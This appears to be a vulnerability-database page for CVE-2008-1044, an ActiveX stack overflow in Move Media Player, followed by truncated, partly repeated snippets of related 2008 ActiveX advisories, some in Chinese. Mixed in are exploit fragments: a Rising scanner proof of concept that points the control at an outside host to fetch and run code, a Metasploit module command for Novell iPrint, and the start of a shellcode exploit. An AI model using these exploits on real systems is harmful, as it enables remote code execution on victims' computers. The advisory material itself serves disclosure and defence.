CVE-2008-1044

Stack-based buffer overflow in the Quantum Streaming Player Quantum Streaming IE Player ActiveX control aka QSP2IE.QSP2IE in qsp2ie07076007.dll 7.7.6.7 and qsp2ie07074039.dll 7.7.4.39 in Move Media Player allows remote attackers to execute arbitrary code via a long argument to the UploadLogs...

Stack overflow

Stack-based buffer overflow in the Quantum Streaming Player Quantum Streaming IE Player ActiveX control aka QSP2IE.QSP2IE in qsp2ie07076007.dll 7.7.6.7 and qsp2ie07074039.dll 7.7.4.39 in Move Media Player allows remote attackers to execute arbitrary code via a long argument to the UploadLogs...

CVE-2008-1044

Stack-based buffer overflow in the Quantum Streaming Player Quantum Streaming IE Player ActiveX control aka QSP2IE.QSP2IE in qsp2ie07076007.dll 7.7.6.7 and qsp2ie07074039.dll 7.7.4.39 in Move Media Player allows remote attackers to execute arbitrary code via a long argument to the UploadLogs...

CVE-2008-1044

The CVE-2008-1044 vulnerability is a stack-based buffer overflow in Move Media Player’s Quantum Streaming Player ActiveX control (QSP2IE.QSP2IE) used by Move Media Player. It occurs in the qsp2ie07076007.dll (7.7.6.7) and qsp2ie07074039.dll (7.7.4.39) when processing a long argument to the Upload...

Novell iPrint客户端ienipp.ocx ActiveX控件栈溢出漏洞

BUGTRAQ ID: 27939 Novell iPrint打印解决方案允许用户向网络打印机发送文档。 Novell iPrint客户端ActiveX控件的实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Novell iPrint客户端ActiveX控件（ienipp.ocx）没有正确地处理对ExecuteRequest方式所传送的输入，如果用户受骗访问了恶意网页并向该方式传送了超过256字节的超长参数的话，就可能触发栈溢出，导致执行任意指令。 Novell iPrint Client for Windows 4.32 Novell iPrint Client for...

Apple QuickTime QTPlugin.ocx ActiveX控件多个栈溢出漏洞

BUGTRAQ ID: 27769 Apple QuickTime是一款非常流行的多媒体播放器。 QuickTime所安装的QTPlugin.ocx ActiveX控件在处理畸形参数数据时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 QTPlugin.ocx ActiveX控件没有正确地验证对SetBgColor、SetHREF、SetMovieName、SetTarget和SetMatrix函数的输入，如果用户受骗访问了恶意网页并向这些函数传送了超长字符串的话，就可能触发栈溢出，导致执行任意指令。 Apple QuickTime Player = 7.4.1 临时解决方法...

rising-insecure.txt

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button...

Yahoo! Music Jukebox AddImage函数ActiveX远程栈溢出漏洞

BUGTRAQ ID: 27590 CVECAN ID: CVE-2008-0623 Yahoo! Music Jukebox是一款音乐编辑、管理、刻录软件。 Yahoo! Music Jukebox的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Yahoo! Music Jukebox所安装的YMP DataGrid ActiveX控件（datagrid.dll）没有正确地处理传送给AddImage方式的输入参数，如果用户受骗访问了恶意站点并向该参数传送了超长字符串的话，就可能触发栈溢出，导致执行任意指令。 Yahoo! Music Jukebox...

DSquare Exploit Pack: D2SEC_IPRINT

Name| d2seciprint ---|--- CVE| CVE-2008-0935 Exploit Pack| D2ExploitPack Description| Novell iPrint Client ienipp.ocx ActiveX Stack Overflow Notes|...

CVE-2008-0935

CVE-2008-0935 describes a stack-based buffer overflow in the Novell iPrint Client’s iPrint Control ActiveX (ienipp.ocx). An overly long argument to ExecuteRequest() can allow a remote attacker to execute arbitrary code. Affected product/version: Novell iPrint Client before 4.34 (ActiveX control i...

CVE-2008-0935

Stack-based buffer overflow in the Novell iPrint Control ActiveX control in ienipp.ocx in Novell iPrint Client before 4.34 allows remote attackers to execute arbitrary code via a long argument to the ExecuteRequest method...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising AntiVirus Online Scanner - Insecure Method Flaw Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

Rising Antivirus Online Scanner Insecure Method Flaw Exploit

Exploit for unknown platform in category remote exploits ============================================================ Rising Antivirus Online Scanner Insecure Method Flaw Exploit ============================================================ Rising Online Scanner Insecure Method Vulnerability...

Rising Web Scan Object 'OL2005.dll' ActiveX Control Remote Code Execution Vulnerability

Description Rising Web Scan Object 'OL2005.dll' ActiveX control is prone to a remote code-execution vulnerability. An attacker can exploit this issue to execute arbitrary code on a victim's computer in the context of the vulnerable application using the ActiveX control typically Internet Explorer...

Novell iPrint Control ActiveX (ienipp.ocx) ExecuteRequest() Method Overflow

The remote host contains the iPrint Control ActiveX control distributed with Novell iPrint Client. The installed version of that control reportedly contains a buffer overflow that can be triggered by passing an argument longer than 256 bytes to the 'ExecuteRequest' method. If a remote attacker ca...

Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow

This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When sending an overly long string to the ExecuteRequest property of ienipp.ocx an attacker may be able to execute arbitrary code. Module Options msf use exploit/windows/browser/novelliprint/executerequest msf...

Microsoft IE参数处理内存破坏漏洞（MS08-010）

BUGTRAQ ID: 27689 CVECAN ID: CVE-2008-0078 Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer中的一个ActiveX控件（dxtmsft.dll）在图像处理过程中处理参数验证的方式中存在一个远程执行代码漏洞，攻击者可以通过构建特制的网页来利用该漏洞，当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1...

Ourgame GLWorld 2.x hgs_startNotify() ActiveX Buffer Overflow Exploit

No description provided by source. %@ LANGUAGE = JavaScript % % var act=new ActiveXObject"HanGamePluginCn18.HanGamePluginCn18.1"; //run calc.exe var shellcode =...

Microsoft Visual FoxPro FPOLE.OCX ActiveX控件远程栈溢出漏洞（MS08-010）

BUGTRAQ ID: 25571 CVECAN ID: CVE-2007-4790 Visual FoxPro是微软发布的数据库开发工具。 Visual FoxPro的AcitveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Visual FoxPro的Foxtlib.ocx和fpole.ocx ActiveX控件没有正确地验证对FoxDoCmd方式的输入，如果用户受骗访问了恶意站点，就可能触发栈溢出，导致在用户浏览器会话中执行任意指令。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6...